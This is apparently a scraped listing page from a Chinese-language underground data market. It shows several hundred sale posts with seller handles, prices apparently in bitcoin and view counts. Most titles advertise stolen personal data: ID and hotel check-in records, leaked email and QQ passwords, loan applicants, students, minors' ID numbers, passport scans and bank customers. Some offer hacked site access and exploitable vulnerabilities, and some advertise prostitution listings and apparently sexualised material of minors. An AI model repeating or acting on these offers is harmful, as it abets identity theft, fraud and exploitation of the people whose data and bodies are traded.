108 11-16 19:47

window
105万台湾邮箱
0.00536 15天 3223 打开
109 10-19 22:04

dominate
沈阳身份信息整理
0.04822 15天 5906 打开
110 10-19 22:09

dominate
青岛身份信息整理
0.04822 15天 4745 打开
111 12-19 19:22

guohan201314
一手博彩数据-出售4个博彩数据获取权限及漏洞
0.13394 15天 352 打开
112 10-19 22:18

dominate
宁波身份信息整理
0.04822 15天 3343 打开
113 10-19 23:44

dominate
东莞身份信息整理
0.04822 15天 4351 打开
114 10-19 23:51

dominate
无锡身份信息整理
0.04822 15天 3476 打开
115 10-20 00:38

dominate
大连身份信息整理
0.04822 15天 4892 打开
116 10-20 00:41

dominate
台湾身份信息整理
0.04822 15天 4952 打开
117 11-02 21:56

dominate
厦门身份信息整理
0.04822 15天 4105 打开
118 09-24 16:47

fishdepthsnetwork
Gmail数据库邮箱加密码490万信息
0.00126 15天 6159 打开
119 11-04 00:35

dominate
(北京,上海,广州,深圳)170w身份信息整理
0.16073 15天 5285 打开
120 10-09 20:30

12345012345
5.3W苹果用户数据
0.00107 15天 1368 打开
121 10-19 17:10

dominate
北京身份信息整理
0.04822 15天 7634 打开
122 11-04 01:26

dominate
(北京,上海,天津,重庆)186w身份信息整理
0.16073 15天 6492 打开
123 10-19 17:40

dominate
上海身份信息整理
0.04822 15天 7643 打开
124 10-19 18:07

dominate
广州身份信息整理
0.04822 15天 6624 打开
125 10-19 18:14

dominate
深圳身份信息整理
0.04822 15天 6166 打开
126 10-19 20:19

dominate
天津身份信息整理
0.04822 15天 6513 打开
127 10-19 20:29

dominate
重庆身份信息整理
0.04822 15天 6031 打开
128 09-25 17:52

dan123458
网上泄露的各种数据库-20左右网站数据的打包了
0.00174 15天 1580 打开
129 12-23 12:43

a595456656
200条网贷数据热腾腾21号提取 超低价只要3美元
0.0008 15天 254 打开
130 10-18 22:57

yuhong
2018年最新小姐数据带照片
0.00395 15天 5184 打开
131 09-27 15:47

youmingguai
自动发货 2018网络博彩套利方案白菜、首存、对刷、代理都有
0.02679 15天 11933 打开
132 12-26 23:55

window
97后-08后上海小中高学生数据
0.05893 15天 291 打开
133 11-22 17:05

cj0628
最新某菠菜网后台数据
0.0553 15天 1604 打开
134 11-22 20:24

junjun1314
200w 博彩 老数据 便宜 甩卖(姓名 电话 邮箱)卖给有需要的人
0.00804 15天 3037 打开
135 12-06 20:51

njbkfzm2
2018年11月出炉|首发|全国美容类等机构场所|自动发货
0.0067 15天 1032 打开
136 11-05 22:38

yikesaiting
营业执照+部分身份证原件部分复印件
0.00032 15天 1622 打开
137 11-01 23:30

yuhong
高端人群数据
0.04018 15天 807 打开
138 11-11 17:11

wujun81885
2000万企业名录数据
0.00474 15天 3904 打开
139 12-26 13:21

valen36010
最新提取的菠菜数据,条条亲测可用(自动发货,不接受傻逼)
0.01147 15天 347 打开
140 10-14 19:54

jiaoyichang
网购综合数据2000条
0.00079 15天 1808 打开
141 12-13 11:30

kinganwang
京东淘宝12月12日销售物流数据
0.00263 15天 609 打开
142 10-14 19:51

jiaoyichang
10756条黑发药品数据
0.00237 15天 1814 打开
143 12-28 16:22

a595456656
200条网贷数据刚过夜的新数据 1千多买的 刚过几小时只要几美元
0.00268 15天 154 打开
144 11-25 13:34

zhaowomai
网贷数据,精准源,需要的赶快拍吧
0.00804 15天 1013 打开
145 11-10 10:34

qq773225912
精准网络贷数据源,才出来的。
0.02054 15天 2323 打开
146 11-30 14:04

yuhong
QQ8000万明文密码 低价处理
0.02679 15天 1133 打开
147 10-09 20:22

12345012345
女性购物数据1619条
0.0004 15天 2695 打开
148 10-16 17:30

sjs666
提供全网实时数据
0.00016 15天 8423 打开
149 12-21 16:03

localbitcoins
超低活动价,深圳业主,全国车主等打包资源,自动发货
0.01018 15天 561 打开
150 12-28 10:28

db8888
已经备案好的域名,可以跳转的域名,不报病毒! 基础价60元 (具体要求的微信价格不一样)
0.00268 15天 135 打开

151 09-13 11:37

yb1214
自动发货 14亿国外泄露的数据库邮箱+密码 包含下载和还原教程
0.00079 15天 4754 打开
152 12-26 15:13

powerz
一手渗透 股票配资
0.40182 15天 340 打开
153 12-26 19:45

db8888
一手网贷实时资源数据
0.02679 15天 369 打开
154 10-09 10:34

asfdsf13
卖一些数据加送一些数据 什么阿里巴巴通讯录 什么腾讯通讯录 什么2000W库 全部赠送
0.00016 15天 3141 打开
155 12-20 00:00

paypaipai
500W投资理财P2P用户数据低价出(来自国内某top5互金平台)
0.10715 15天 612 打开
156 12-19 19:41

kivchen
本月新脱库股民3000条,一周更新一次,每次3000条
0.00348 15天 457 打开
157 12-24 14:38

dujiadata
中国联通店员数据,带身份证银行卡
0.13394 15天 266 打开
158 11-20 23:08

bocaidajun
自动发货 棋牌数据 11月
0.0158 15天 2018 打开
159 12-03 22:12

njbkfzm2
一手|首发|幼儿园数据|自动发货
0.02143 15天 854 打开
160 11-09 08:12

hedabc
出一批综合库(不是最新)
0.01264 15天 952 打开
161 12-21 00:11

hackgirl
约20W+快递数据|自动发货
0.01339 15天 321 打开
162 12-28 05:23

cresccc
重开#质量绝对对得起你的购买,2300多附带客户微信号BC数据,最新提取!
0.00884 15天 149 打开  
163 12-28 04:52

cresccc
80多万菠菜客户邮箱
0.02652 15天 118 打开
164 12-28 04:19

cresccc
bc数据2万多条,自动发货
0.01947 15天 124 打开
165 12-07 21:07

royalclover
一手网贷数据2500条!
0.00321 15天 516 打开
166 10-05 12:45

piaoqian124
自动发货 博彩 18年部分数据 数量3万个
0.01581 15天 9302 打开
167 09-21 16:55

hunterb
便宜出售15G裸贷资源+2000w酒店信息资源!!!
0.00268 15天 6538 打开
168 10-30 14:59

marianatrench
6200条北上广互联网高端人脉资源数据
0.0079 15天 5290 打开
169 09-20 22:28

cs888888
全国医师详细资料全库出
0.01929 15天 8526 打开
170 10-09 19:07

yuhong
北京工商银行102万数据 低价处理
0.01339 15天 2111 打开
171 09-18 14:40

darkerweb
出南宁某技校学生个人信息+某校班级学生信息
0.00158 15天 3076 打开
172 11-02 17:52

jxstigo
6W身份证数据
0.00016 15天 1203 打开
173 10-09 20:31

12345012345
8000多条广东某校学生档案
0.00067 15天 1826 打开
174 09-22 09:33

a2562563456
2000W开房数据库,MSSQL数据库备份格式,还原即可用
0.00054 15天 4547 打开
175 11-23 17:26

xxyyaa123
全国2014年以前的车主资料==老数据,。一共2.86GB,打包低价出售
0.0711 15天 1258 打开
176 12-07 21:51

jiajia123
最新广证股民资源只出一次(自动发货)
0.04018 15天 1942 打开
177 12-27 17:18

tsingfeng
小米800万用户数据
0.00402 15天 249 打开
178 12-14 01:47

rewtturtrret
全套裸贷数据,赠送全国校花数据
0.00268 15天 672 打开
179 12-27 15:16

dashidai1
网贷数据 无重复
0.02679 15天 188 打开
180 12-27 14:03

dianbao12358
网贷数据 指定地区 无重复
0.02679 15天 215 打开
181 12-12 00:20

lalalala1234
妈妈网300w+裤子,母婴定向营销
0.00236 15天 979 打开
182 12-07 11:36

zhuangmingxuan
2018年11月某公募基金40岁以下大客户数据2000余条(50万以上)
0.00536 15天 1453 打开
183 09-13 13:57

zozpp000000
支持一万多种APP或网站注册的验证码接收平台的网址
0.00142 15天 3319 打开
184 12-22 10:36

powerz
后端渗透 股票网站出某站股票28万股民数据
0.53576 15天 854 打开
185 11-04 23:56

njbkfzm2
上海34个基金行业通讯录|自动发货
0.00536 15天 1795 打开
186 12-25 14:58

owenryan
过年促销价,母婴优质网购数据优惠出货(寻台湾朋友长期合作)
0.40182 15天 391 打开
187 10-23 23:51

hunterb
海量邮箱+密码--国内手机号+密码--看图-自动发货
0.01339 15天 2386 打开
188 10-27 13:59

dixuexy
一手大智慧数据平台股民信息出售日更新4W条!!
0.00016 15天 4026 打开
189 12-18 14:09

1524872553
香港邮箱数据部分密正
0.10715 15天 434 打开
190 09-10 21:46

fishdepthsnetwork
全国校花选美信息3千多条
0.00095 15天 10086 打开
191 10-09 00:40

jun0517
出售最新博彩客户VIP数据,信息全部最新提取~~
0.0158 15天 10154 打开
192 11-05 10:47

njbkfzm2
20w股民数据|低价|自动发货
0.00268 15天 1869 打开
193 09-10 14:36

fishdepthsnetwork
7000万行业qq群成员和qq邮箱买家卖家邮箱分行业
0.00063 15天 6412 打开
194 12-22 21:46

valen36010
北上广深等各大城市素人空姐白领外教师兼职旅行性伴侣,全国通真实可测(自动发货)
0.00099 15天 419 打开
195 09-01 01:12

liuliu666
日本MUM系列全集 合法萝莉高清 168部
0.00079 15天 3493 打开
196 11-05 19:10

fbi123
出申博太阳城9月跟10月最新资料2万条
0.0158 15天 1464 打开
197 09-13 14:04

yb1214
3400W各种平台邮箱账号密码数据库-成功率高 带查询筛选工具 自动发货 没有重复
0.00126 15天 6652 打开
198 11-13 16:23

htyjdf
快速发货 一手网贷 高炮 日出3000-10000
0.0019 15天 4848 打开
199 11-03 22:05

qq131002
每日更新 最新高质量一手实时网贷数据 一手当天隔夜2块/条
0.00402 15天 4983 打开
200 11-15 16:12

usagod95
58同城内部通讯录2份包括总裁姚劲波 自动发货
0.15799 15天 1345 打开

201 10-19 20:37

dominate
成都身份信息整理
0.04822 15天 5724 打开
202 10-19 20:42

dominate
杭州身份信息整理
0.04822 15天 5517 打开
203 10-19 20:52

dominate
武汉身份信息整理
0.04822 15天 6065 打开
204 10-19 21:06

dominate
苏州身份信息整理
0.04822 15天 5231 打开
205 10-19 21:15

dominate
西安身份信息整理
0.04822 15天 3894 打开
206 10-19 21:43

dominate
郑州身份信息整理
0.04822 15天 3847 打开
207 10-19 21:50

dominate
长沙身份信息整理
0.04822 15天 3625 打开
208 12-26 20:02

dianbao12358
网贷信贷车贷资源 指定城市无外地无重复 5毛一条
0.02679 15天 152 打开
209 10-31 17:46

xiaoguo
非最新资料政府+央企通讯录/只出售1份送俩个省本通讯录
1.57993 15天 968 打开
210 12-26 16:18

q3392171643
全国实时贷款数据,可以指定地区,实时1.5元 ,隔夜1元,历史5毛
0.02679 15天 207 打开
211 12-26 16:15

q3392171643
全国实时贷款数据,可以指定地区,实时,隔夜,历史
0.00402 15天 131 打开
212 09-10 11:47

925468147
社工库105G,各类数据库,2011-2016年的 社工库 共105G
0.0158 15天 5983 打开
213 10-28 02:37

hunterb
几百万全国车主+20W意向购车用户+40份车主证件照片
0.00804 15天 3411 打开
214 11-17 21:39

wendy8888
降价出内部53W-ZF-企业-个体-资料
0.02212 15天 2871 打开
215 12-17 16:14

jiaoyimao
热腾腾的8BTC.com数据库及其源码出售(含14W会员信息)
3.45246 15天 682 打开
216 10-09 15:06

yuhong
国家网监局内部资料
0.00316 15天 3281 打开
217 12-26 10:35

easio123
农行卡号一手身分讯息资料
0.08036 15天 162 打开
218 11-18 13:14

wangfeng88
出中石化中石油85折充值通道
0.0079 15天 1019 打开
219 12-03 15:10

njbkfzm2
1200w+股民老数据|自动发货
0.02009 15天 1057 打开
220 11-01 01:16

hunterb
重发股市用户数据30W-自动发货-低价!
0.02411 15天 3775 打开
221 09-02 14:50

navicat888
100多w一手jp mail数据
0.05786 15天 4235 打开
222 10-17 02:07

ripi888
重新开贴:XXX平台每天最新一手贷款数据,持续更新~~~
0.0948 15天 2627 打开
223 09-11 16:35

tsingfeng
低价处理245万51job数据
0.00536 15天 4729 打开
224 10-27 00:16

hunterb
前程无忧500W份简历-信息量极大-低价自动发货
0.00536 15天 4014 打开
225 10-27 01:53

hunterb
全国企业名录约1500W条-低价-自动发货
0.0075 15天 2683 打开
226 11-09 15:11

bocaidajun
自动发货 11月份 博彩网站部分数据 3万条左右
0.0316 15天 3270 打开
227 12-24 07:20

dujiadata
宝马车主数据40万
0.08036 15天 270 打开
228 12-26 00:20

caibo0713
全国医生数据详细信息30万条
0.00804 15天 128 打开
229 11-22 14:02

yuhong
国外雅虎邮箱明文密码45万条低价出
0.00804 15天 544 打开
230 12-25 20:31

aibo999
特殊职务人员通讯录
0.80365 15天 188 打开
231 11-20 17:32

vs2525vs25
34000条菠菜数据2018年9月提取
0.00869 15天 1680 打开
232 12-10 18:10

wwxxyyzz
股民==纯股民数据---2018最新股民!便宜出货50W条
0.00804 15天 574 打开
233 12-19 12:08

ououou001
20万股民资源低价出了
0.01339 15天 201 打开
234 12-14 02:06

pxzmhpfptucemhkb
独家股票数据券商平台开户数据每天更新(每天1000-3000条)
0.00536 15天 741 打开
235 12-21 19:58

adad8899
出一手股民、网贷、彩票等APP的实时数据
0.23306 15天 199 打开
236 12-02 13:32

xxyyaa123
全国2014年以前的车主资料=老数据,。一共5.97GB,打包低价甩卖
0.00027 15天 2164 打开
237 12-14 21:39

hackgirl
减肥产品营销>>减肥用户买家数据2800条<<低价
0.00402 15天 399 打开
238 12-18 14:48

1524872553
海量邮箱数据 60亿库
0.00268 15天 427 打开
239 10-27 02:45

hunterb
精准营销3500w(QQ)数据和2500W淘宝数据-低价-自动发货
0.00536 15天 3054 打开
240 09-30 02:37

sgkzhuanmai
出个17年9月拖的全台湾户籍数据
0.04424 15天 2731 打开
241 11-09 22:17

guohan201314
出几个博彩平台的一手数据,可在相关平台验证数据真假,随时要随时导出
0.079 15天 4169 打开
242 10-30 14:25

marianatrench
3200条厦门建设银行信用卡审批通过数据
0.00158 15天 1646 打开
243 10-27 22:36

qq112211
一手韩国 网站数据邮箱格式+密码
0.00395 15天 2168 打开
244 09-17 23:31

dicheng
5500万QQ号+QQ邮箱数据库
0.00474 15天 2038 打开
245 10-30 14:18

marianatrench
百度内部员工通讯录
0.00395 15天 644 打开
246 12-25 00:39

sgkzhuanmai
京东快递员信息数据18年10月
0.32146 15天 167 打开
247 11-22 23:06

strive888
售A股股民资源16W条,时间 九月中--十一月中最新数据
0.02143 15天 2389 打开
248 11-21 09:06

1335230
教师数据3w+
0.00126 15天 2095 打开
249 08-06 20:21

tclks666
16万身份证信息,一手新鲜,刚拖得库
0.00079 15天 3274 打开
250 11-19 15:31

mufeng
573g数据库低价处理
0.01339 15天 1955 打开

251 12-04 13:12

wopy183
一手数据,某金融网贷平台--最新--用户数据
0.00158 15天 561 打开
252 12-24 18:31

liuhaifeng
一手台湾邮箱MD5加密 自己去解800条
0.00214 15天 107 打开
253 12-24 15:55

hu45654366
股民数据 充值数据====
0.00027 15天 144 打开
254 10-30 17:19

shijiazhuang
上海各级党政机关单位人员信息100万条
0.00236 15天 1346 打开
255 12-24 13:24

a595456656
速看 1千条网贷数据新鲜23号隔夜 只卖一天 价格便宜
0.00268 15天 207 打开
256 11-24 18:57

freenet
江苏省中学教师老师手机号码名录4864条
0.00804 15天 1291 打开
257 11-04 04:17

daisycutter
190万 上海市中共党员信息
0.00395 15天 2385 打开
258 11-06 09:35

fuzeiscoming
自动发货 网贷平台3w条借款客户超详细信息
0.00158 15天 2406 打开
259 09-05 17:07

yb1214
6000多万行业qq群成员和qq邮箱 来源于QQ群数据库 256MB
0.00079 15天 6364 打开
260 09-29 18:08

theeyeoftruth
湖南四川两省护士73612条电话身份证号
0.00214 15天 4151 打开
261 12-23 21:49

laotiemeimaobing007
250条网贷数据,今天刚出来的每条2元(自动发货)
0.01982 15天 143 打开
262 10-25 20:24

hunterb
宝妈系集合-妈宝网的库+妈妈网等会员宝妈数据-自动发货
0.00536 15天 6297 打开
263 12-23 18:31

34032rj09jh234r
国外pos机大型厂商posist.com一手数据
0.04018 15天 146 打开
264 10-10 18:33

yuhong
深圳建设银行车主22万条 低价处理
0.0079 15天 972 打开
265 12-20 21:28

wwxxyyzz
贷款名单---需要贷款的名字 低价出
0.0075 15天 266 打开
266 10-09 01:32

12345012345
16W接近17W条深圳企业法人数据
0.00161 15天 1326 打开
267 12-23 12:07

mufeng
2015-2018年 高考数据打包
0.05358 15天 165 打开
268 12-20 16:32

a595456656
独家2018年博彩提取10-12月份 价格便宜 8W条
0.02143 15天 304 打开
269 09-25 15:01

lolmaster
490wGMAIL数据
0.00079 15天 1687 打开
270 10-30 17:27

shijiazhuang
上海各级党政机关单位人员信息80万条(第二部分)
0.00206 15天 769 打开
271 10-09 20:26

12345012345
72787条深圳航空VIP会员数据
0.00107 15天 1381 打开
272 11-04 01:54

hackawolf
成都天使之翼整形医院客户数据12280条
0.0395 15天 2652 打开
273 12-23 01:45

xixigugu
出售香港一田超市app账号(里面包括现金券)3折
0.00209 15天 179 打开
274 11-04 11:01

njbkfzm2
一手|全国民营医院数据|精准营销|自动发货
0.02357 15天 2428 打开
275 12-22 21:34

valen36010
100套,手持身份证+正反面+半身照,全网最低(自动发货)
0.00078 15天 173 打开
276 11-05 15:14

hunterb
最新股市用户数据10w份=0.006!
0.00948 15天 5666 打开
277 12-19 20:14

kivchen
app脱库股民数据400条,月初的还没出过,只有400条
0.0008 15天 379 打开
278 11-03 09:57

test2019
自动发货8000万QQ群数据2000万开房数据打包低价出售
0.00126 15天 1638 打开
279 12-22 19:38

xxxyyy121212
3600万身份证开房信息,带名字地址身份证号码。自动发货
0.00214 15天 187 打开
280 10-10 14:09

qq831120
出售10-18年收藏品数据 几千万条
0.80365 15天 1552 打开
281 12-05 21:53

123456789lin
影艺圈各路大咖名人大碗的联系方式
0.02679 15天 502 打开
282 11-13 20:18

925468147
225G社工库合集-自己收藏的一套带走
0.0158 15天 1255 打开
283 12-20 17:03

xxxyyy121212
10万条各国苹果ID
0.00268 15天 258 打开
284 11-05 14:37

jiutianwang
详细的开户数据,开户日期,资金号,电话,佣金,账户,开户费,第三方存管银行
0.02646 15天 1617 打开
285 11-09 17:42

tianbian
中兴内部绝密资料(被美制裁后措施)含少量数据
0.00119 15天 1368 打开
286 10-16 18:13

xiaoguo
2018广交会参展企业
0.00158 15天 2144 打开
287 12-21 21:36

wwxxyyzz
股民-浙江股民--;240多万浙江股民低价出
0.13394 15天 210 打开
288 12-17 00:54

jun0517
出PC7777.COM彩票站点数据。数据信息齐全
0.01768 15天 596 打开
289 12-02 12:14

woowp001
出售银行理财数据 包含余额 理财产品 台湾老板可以好好看看
0.11554 15天 684 打开
290 09-20 15:25

wikicn
2000万开房数据mysql版2013年前如家汉庭酒店1GB
0.00316 15天 1699 打开
291 11-16 10:57

htyjdf
快速发货 股票点买一手数据 3个站 共100000+条
0.0395 15天 2229 打开
292 09-13 14:07

yb1214
Gmail官方后台数据库 邮箱+密码 数十万信息 带查询筛选工具 自动发货
0.00126 15天 6422 打开
293 11-26 17:35

liujz001
8258条全国夫妻交友换妻信息+15万条全国高端伴游+楼凤小姐信息(部分已验证)+2018年北京楼凤+上海楼风
0.00482 15天 951 打开
294 10-30 00:46

z29gagtlg3sh1cdzqa
独家贷款数据小额贷平台每天更新(每日8000-30000条)
0.00402 15天 4364 打开
295 12-04 14:20

wuqilong
18年10月下旬 一万九千多条菠菜数据
0.00938 15天 526 打开
296 11-05 21:52

guohan201314
出售18年10月份14万条博彩综合用户数据
0.1106 15天 1137 打开
297 09-13 13:57

yb1214
魔方数据库账号+邮箱+密码 等等 890W 带查询筛选工具 自动发货
0.00126 15天 5050 打开
298 10-09 01:29

12345012345
1.2W浙江高尔夫球场会员姓名电话
0.00079 15天 2272 打开
299 10-09 20:21

12345012345
电视购物全国美容保健减肥瘦身甩脂带保健37442条
0.00134 15天 1591 打开
300 09-16 00:15

fishdepthsnetwork
6210条银行100万开户金卡客户信息
0.00316 15天 5482 打开

301 10-01 21:06

zozpp000000
1.7亿Facebook数据 自动发货
0.00095 15天 2770 打开
302 11-20 17:42

yuhong
我拉网343万数据 sql
0.00474 15天 1044 打开
303 09-25 23:09

htyjdf
自动发货 绝对一手 某券商1995年至2016年所有数据
0.02528 15天 12115 打开
304 12-13 17:59

caibo0713
医学杂志投稿系统脱库医生数据3.4万条
0.02411 15天 226 打开
305 11-10 10:43

shadoumai
网贷最精准数据
0.0474 15天 2002 打开
306 12-21 13:45

tsingfeng
50亿国内外综合库 低价处理
0.26788 15天 88 打开
307 12-05 14:14

zxcvbnm001
2018年贷款数据非一手价格非常值得入手
0.03456 15天 275 打开
308 12-16 17:19

wwxxyyzz
股民---独家==湖南股民7W多条+全国股民1W多低价出
0.04018 15天 379 打开
309 12-16 22:04

sgkzhuanmai
3000W爱奇艺账号密码
0.24109 15天 358 打开
310 09-28 19:44

yuhong
自动发货 全国小姐资料14000余条
0.00158 15天 1808 打开
311 09-29 18:20

theeyeoftruth
全国小姐楼凤信息14878条
0.00079 15天 4505 打开
312 12-17 01:02

91pornhacker
[黑客必备]九章算法VIP算法基础+强化班录播视频原价800美金
0.01339 15天 367 打开
313 09-28 09:14

theeyeoftruth
POS机申请数据197条手持正反银行卡门头租房协议营业执照
0.00107 15天 2289 打开
314 10-13 13:09

darkerweb
新鲜一手中专学校个人信息资料大概有420条左右自动发货
0.00158 15天 860 打开
315 12-21 02:21

yunlianhui
天天快递 高层以及各部门数据
0.00161 15天 148 打开
316 11-11 11:24

dudu123
出售一批11月份摄像头数据支持电脑手机观看。你懂得
0.00047 15天 2157 打开
317 10-11 20:26

hunterb
$3-2018年石家庄小姐信息
0.00134 15天 1370 打开
318 12-14 13:43

wwxxyyzz
股民--2018新股名--可按地区发货==带名字和电话!
0.01929 15天 361 打开
319 11-05 22:10

hunterb
最新彩中彩7.3W数据-自动发货
0.01339 15天 1562 打开
320 12-20 17:34

a595456656
3月份2W博彩数据 低价出
0.00938 15天 116 打开
321 12-20 12:14

81112321
楼凤信息
0.00094 15天 168 打开
322 12-20 14:13

cobraking
第一手马来西亚买家信息1000份
0.00938 15天 134 打开
323 12-20 13:34

cobraking
高金额马来西亚网银账号
0.13394 15天 142 打开
324 12-20 06:02

sgkzhuanmai
15年40多个黑客站点用户数据
0.13394 15天 123 打开
325 10-15 14:53

alter1111
10.15日上午某网贷实时数据,自动发货
0.01422 15天 1456 打开
326 12-19 21:43

ddbtmctart
独家真实一手贷款数据,每天更新限量出售
0.00536 15天 188 打开
327 12-19 20:25

wuqilong
2018全国最全最详细的红灯区信息嫖娼必备手册以及防骗攻略
0.00482 15天 136 打开
328 10-30 14:14

marianatrench
一万条宜人贷贷款数据
0.00395 15天 2467 打开
329 11-29 18:49

shadoumai1
网贷资源,详细的网贷资源
0.00804 15天 1242 打开
330 12-17 18:45

coldface
稳定出大量每天实时网贷数据。
0.03884 15天 319 打开
331 11-16 09:17

wikicn
2011年上海千万存款208581位客户mysql数据库与csv整理版
0.00237 15天 554 打开
332 10-24 16:50

huayun
降价处理某会议通讯录
0.00158 15天 3466 打开
333 11-12 20:01

wendy8888
国外网站储存的数据0.0003出
0.00047 15天 1113 打开
334 12-18 21:24

wangzheyouxi
2万条网贷的详细资料数据,都带身份证 便宜卖了。网贷网贷数据
0.01339 15天 173 打开
335 12-18 20:42

wangzheyouxi
1000条12月12日的网贷数据便宜拿走 只发一次
0.00134 15天 134 打开
336 12-18 18:06

spacemaster
FBI特工名单 20.usd
0.00536 15天 246 打开
337 12-18 13:50

shixiongdibu11
FBI特工名单 698.usd
0.18698 15天 286 打开
338 12-16 17:00

shixiongdibu11
出售未成年身份证号(首发贵族学生信息 担保不重)
0.0005 15天 377 打开
339 12-13 22:00

frost30000
一个币的生意自动发货-----一手渗透股票配资站30个站打包
0.48219 15天 810 打开
340 09-10 01:22

yb1214
低价打包800个精准行业客源邮箱地区+行业+国内外数据库3.1G
0.00079 15天 4720 打开
341 12-17 21:08

sgkzhuanmai
国内4000知名校花全部信息资料
0.13367 15天 190 打开
342 12-17 20:50

sgkzhuanmai
200个高端人才手机学校与微信
0.05358 15天 149 打开
343 12-17 20:40

sgkzhuanmai
300条fbi信息
0.16073 15天 191 打开
344 12-05 14:25

zxcvbnm001
2018拿到的数据绝对值得的价格公司内部拿到的
0.03456 15天 999 打开
345 10-11 12:28

htyjdf
自动发货,一手脱 上月下旬已在论坛出过 降价2/3 金融数据17-18
0.06636 15天 1482 打开
346 10-27 09:37

zfbyel1
出售谷歌邮箱1000W以上
0.01264 15天 1026 打开
347 09-23 11:47

htyjdf
自动发货 百来个2008年到2017年的库打包出 几乎涵盖所有
0.0079 15天 20598 打开
348 11-30 14:55

woowp001
出售楚楚街历史网购数据 出售楚楚街历史网购数据
0.11577 15天 1062 打开
349 12-16 22:10

sgkzhuanmai
8000条欧淘网用户数据
0.00268 15天 134 打开
350 12-16 21:57

sgkzhuanmai
350WYY数据
0.02679 15天 168 打开

351 12-16 16:33

ponylee1024
2200W淘宝买家数据,已经按照购买商品类型进行精准分类
0.00402 15天 319 打开
352 12-11 11:09

wwxxyyzz
股民---深圳股民----100W数据。打包出;低价拿走不谢
0.10072 15天 439 打开
353 11-05 12:16

1524872553
世界著名电影导演合辑
0.01339 15天 1376 打开
354 12-16 08:32

qdqd666
200多张护照扫描件
0.00054 15天 165 打开
355 11-29 15:09

woowp001
出一手隔夜网贷数据 添加率高 质量杠杠的
0.04824 15天 1174 打开
356 11-02 23:16

heike168
股民数据--某证卷公司经理导出来的最新2018年的资源==5号段原创资源
0.0316 15天 2729 打开
357 12-15 18:53

deepmobao
四川企业数据542604条,自动发货
0.00268 15天 132 打开
358 12-15 13:42

caibo0713
自动发货-投稿系统2.6万条医生数据
0.02143 15天 112 打开
359 12-15 08:01

qdqd666
200w条身份证信息 包含姓名 地址 电话 邮箱等
0.00134 15天 145 打开
360 12-06 12:09

zhuangmingxuan
某国内TOP3手游防沉迷系统用户数据,2018年10月,3万余条
0.0075 15天 903 打开
361 11-27 00:03

dxddla
独家!某大型贷款公司数据,信息丰富!
0.01339 15天 3408 打开
362 11-15 21:22

wendy8888
高级社工必备手段-最实用
0.00196 15天 951 打开
363 09-10 18:57

weilun
可以使用微信,支付宝,亚马逊礼品卡,信用卡等购买比特币的网站
0.00016 15天 787 打开
364 09-16 18:33

web001
某省教育厅35W大学生身份信息
0.00395 15天 3031 打开
365 11-04 23:08

njbkfzm2
2017年12月份泄露的41.1G的库-海量
0.00214 15天 1106 打开
366 11-08 07:38

njbkfzm2
全国大企业HR经理通讯录|制动发货|物美价廉
0.00158 15天 752 打开
367 11-05 21:20

tsingfeng
复旦大学总裁班第1-10期学员通讯录
0.0079 15天 1207 打开
368 11-14 01:44

hackawolf
低价出一个成都地区IT培训的CRM后台权限
0.47398 15天 783 打开
369 10-31 19:25

yuhong
历年银行泄露数据550W条打包处理
0.1027 15天 1866 打开
370 10-22 17:21

tsingfeng
降价处理 全国17万董事长信息打包
0.27431 15天 3174 打开
371 12-12 21:15

laotiemeimaobing007
6家贷款公司后台数据!独家!每天打底2000份新客户资料
0.15537 15天 459 打开
372 12-12 20:20

mufeng
40w bc数据 2017-2018年所有数据
0.23306 15天 384 打开
373 12-12 17:45

laotiemeimaobing007
1万8千贷款数据,全新的,自动发货
0.21029 15天 363 打开
374 12-02 13:16

xxyyaa123
全国工商注册资料。9。21GB,2015以前的老资料拿走不谢
0.00027 15天 655 打开
375 10-27 22:55

hunterb
企业名录-excle整理版-低价-老数据-自动发货
0.00321 15天 1845 打开
376 12-12 00:00

lalalala1234
猫扑1000W+CSDN600W
0.0008 15天 467 打开
377 12-11 21:49

lalalala1234
几十万条付费MD5
0.00054 15天 452 打开
378 12-03 23:48

qwe1372936656
11个菠菜综合盘数据,打包出售,共30万条左右,10月份出库
0.32146 15天 1498 打开
379 12-11 20:30

iphonexsmax
清华 北大校友 企业家 董事长 精英2400条
0.00938 15天 473 打开
380 10-16 13:36

jeima6
投顾公司几年股民数据
0.0158 15天 3762 打开
381 11-02 07:40

hunterb
一手数据6.53W某彩票平台用户数据!
0.01072 15天 2876 打开
382 12-11 17:50

indexnet
全国资源,狼友开车必备
0.00107 15天 531 打开
383 12-04 20:56

usagod95
分众传媒全国内部通讯录9300人 包括国内外加盟商
0.1393 15天 462 打开
384 09-13 13:55

yb1214
奇虎360泄露的数据库账号+密码 百万数据带查询筛选工具 自动发货
0.00126 15天 5683 打开
385 12-10 17:48

zhuangmingxuan
新鲜出炉,17.1-18.10某海淘网上海地区女性购物数据1W条
0.0067 15天 565 打开
386 11-28 13:58

heike988
浙江富豪千万以上名单;18W条。迷你价出售
0.00027 15天 805 打开
387 12-11 10:02

yinhong199011
出4000多份国内营业执照
0.07903 15天 307 打开
388 10-27 12:49

inothacker
明网服务器扫描到的泄漏文件,有能力者自行分析源码脱裤。
0.0079 15天 1223 打开
389 12-10 17:48

coldface
新货,出网贷实时数据。需要来撩!
0.00777 15天 518 打开
390 12-10 15:10

laotiemeimaobing007
境外一手卡发,到达率90以上,价格贵一点点点,但是到达率高
0.00054 15天 451 打开
391 12-10 14:54

woowp001
出某理财网站新数据数据 以及车票数据 刚出的新库
0.07774 15天 370 打开
392 11-13 16:50

htyjdf
快速发货 菠菜数据 10月脱的 去重后18W+
0.33179 15天 1909 打开
393 09-25 13:09

piaoqian124
自动发货 博彩 1000万 老数据打包
0.23699 15天 2423 打开
394 10-16 13:36

gwfgwf002878
当天时时贷款数据。持续更新
0.01438 15天 3129 打开
395 12-06 15:13

qdqd666
猎聘网1w+高端人才简历 包含姓名电话邮箱等
0.00134 15天 477 打开
396 10-09 18:52

ponylee1024
低价分享2000w酒店开房数据(已经转好格式,并分割成多份csv文件,Excel可以直接打开)
0.00402 15天 1464 打开
397 11-11 01:57

junjun1314
2000万企业名录数据。(新老数据都有)(自动发货)低价甩卖
0.04018 15天 790 打开
398 12-09 13:25

liuhaifeng
一手刚出美国邮箱
0.00268 15天 204 打开
399 10-10 00:05

hackerze3
网易100个账号
0.00016 15天 777 打开
400 10-30 14:28

marianatrench
1500条平安车险回访电话录音数据
0.00079 15天 603 打开

401 12-08 13:38

wopy183
1000套用户手机通讯录打包出售
0.02065 15天 130 打开
402 10-10 12:05

yuhong
广州工行大客户名单30060条 低价处理
0.00316 15天 1378 打开
403 11-25 10:08

yuhong
MySpace4.27亿用户密码
0.00316 15天 409 打开
404 10-20 14:43

gwfgwf002878
时时贷款资源,高质量.持续更新。
